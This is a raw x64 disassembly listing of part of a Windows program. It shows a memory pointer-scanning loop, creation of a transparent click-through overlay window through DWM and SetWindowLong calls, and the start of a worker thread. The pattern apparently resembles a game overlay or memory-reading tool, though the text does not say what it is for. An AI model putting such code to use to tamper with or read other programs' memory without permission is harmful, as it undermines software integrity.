movsxd rdx, esi
add rdx, qword [0x1401fe600]
mov qword [0x1401fe708], rdx
mov rcx, qword [0x1401fcb58]
add rcx, rdx
call fcn.140042bf0
mov rbx, rax
mov rcx, qword [0x1401fcbb8]
add rcx, rax
call fcn.140042bf0
test rbx, rbx
je 0x14009da70
test rax, rax
je 0x14009da70
mov rcx, qword [0x1401fcbc0]
add rcx, rax
call fcn.140042bf0
cmp rax, rbx
je 0x14009da80
inc edi
add esi, 0x1000
cmp edi, 0x7fffffff
jl 0x14009da20
mov rcx, qword [0x1401fe790]
test rcx, rcx
jne 0x14009dab3
nop dword [rax]
call fcn.14004da80
mov qword [0x1401fe790], rax
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1401fe790]
test rcx, rcx
je 0x14009da90
movdqa xmm0, xmmword [0x14014f0b0]
movdqu xmmword [rbp + 0x228], xmm0
lea rdx, [rbp + 0x228]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xor edx, edx
mov rcx, qword [0x1401fe790]
call qword [sym.imp.USER32.dll_SetMenu]
mov edx, 0xfffffff0
mov r8d, 0x10000000
mov rcx, qword [0x1401fe790]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov edx, 0xffffffec
mov r8d, 0x80020
mov rcx, qword [0x1401fe790]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov edx, 5
mov rcx, qword [0x1401fe790]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401fe790]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov edx, 0xffffffec
mov rcx, qword [0x1401fe790]
call qword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80020
mov r8d, eax
mov edx, 0xffffffec
mov rcx, qword [0x1401fe790]
call qword [sym.imp.USER32.dll_SetWindowLongW]
call fcn.140051550
xor eax, eax
mov qword [rbp + 0x1f0], rax
mov ecx, 8
call fcn.14014278c
test rax, rax
je 0x14009db83
lea rcx, [0x14004f410]
mov qword [rax], rcx
jmp 0x14009db86
mov rax, r14
mov qword [rbp + 0x1f0], rax
lea rcx, [rbp + 0x1e8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x140041f10]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1e0], rax
test rax, rax
je 0x14009dcab
mov qword [rbp + 0x1f0], r14
cmp dword [rbp + 0x1e8], 0
je 0x14009dca0
movaps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rcx, [rbp + 0x1a0]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x14009dca0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1e0], xmm0
call fcn.140073ae0
nop
cmp dword [rbp + 0x1e8], 0
je 0x14009dc1a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0x220], 0
je 0x14009dc2a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov rdx, qword [rbp + 0x210]
cmp rdx, 0xf
jbe 0x14009dc6e
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009dc69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14009dc69
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401427c8
xor eax, eax
mov rcx, qword [rbp + 0x480]
xor rcx, rsp
call fcn.140142c40
lea r11, [rsp + 0x590]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp + 0x1e8], r14d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3